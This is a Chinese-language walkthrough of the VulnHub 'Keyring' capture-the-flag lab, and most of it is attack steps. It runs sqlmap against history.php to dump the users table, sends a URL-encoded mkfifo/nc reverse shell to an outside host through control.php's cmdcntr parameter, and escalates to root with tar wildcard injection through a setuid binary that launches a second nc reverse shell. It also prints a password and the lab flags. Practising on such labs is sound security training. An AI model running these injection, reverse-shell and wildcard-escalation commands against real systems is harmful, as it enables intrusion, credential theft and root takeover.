keyring下载地址https://download.vulnhub.com/ia/keyring-v1.01.ova1.下载靶机,网络改为桥接模式然后打开靶机,nmap扫描一下:
nmap.exe -p- 192.168.0.15
开放ssh的22端口和http的80端口,ssh端口无法登录,设置了只能用密钥登录。
先注册一个用户,admin用户显示已经被注册了,只能换一个注册:
后台非常简陋,看来不是cms,路径扫描找到一个history.php的文件。
history.php直接访问没有反应,但是在登出的时候,会显示can't find this user's activity,可能是存在user参数:
访问:
https://github.com/cyberbot75/keyring
找到了页面的源码login.php:
control.php存在注入:
sqlmap注入跑一下,这里有个坑:sqlmap要加一个-f的参数,否则新版sqlmap会跑不出其他的库,只能读取默认的mysql数据库,这里要特别注意。
python3 sqlmap.py -u http://192.168.0.15/history.php?user=admin --cookie="PHPSESSID=8ksj6b6d2uo9g58ljbflfi6q0m" --dbs -f
dump一下users数据库:
python3 sqlmap.py -u http://192.168.0.15/history.php?user=admin --cookie="PHPSESSID=8ksj6b6d2uo9g58ljbflfi6q0m" --dump users
2.反弹nc:
使用cmdcntr的参数执行命令,没有写入权限,只好反弹nc:
反弹nc之前先url编码一下:
http://192.168.0.15/control.php?cmdcntr=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.0.16%208090%20%3E%20%2Ftmp%2Ff
反弹之后,使用另一个用户john登录,密码是:{Sup3r$S3cr3t$PasSW0RD}和admin的密码一样在mysql的users数据库中。
在john的目录下面有一个compress的可执行文件,下载之后,反编译一下,发现main函数为:
main(void)
{
setgid(0);
setuid(0);
system("/bin/tar cf archive.tar *");
return 0;
}
可以利用这个文件进行通配符提权:
echo "mkfifo /tmp/lhennp; nc 192.168.0.16 4444 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
chmod +x shell.sh #赋予执行权限
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
tar cf archive.tar * #这一步可以省略,因为在compress文件中就可以执行这个命令
./compress #进行root权限反弹
反弹成功,读取flag:
user.txt
[ Keyring - User Owned ]
----------------------------------------------
Flag : VEhNe0Jhc2hfMXNfRnVuXzM4MzEzNDJ9Cg==
----------------------------------------------
by infosecarticles with <3
THM{Bash_1s_Fun_3831342}
root.txt
[ Keyring - Rooted ]
---------------------------------------------------
Flag : VEhNe0tleXIxbmdfUjAwdDNEXzE4MzEwNTY3fQo=
---------------------------------------------------
by infosecarticles with <3
THM{Keyr1ng_R00t3D_18310567}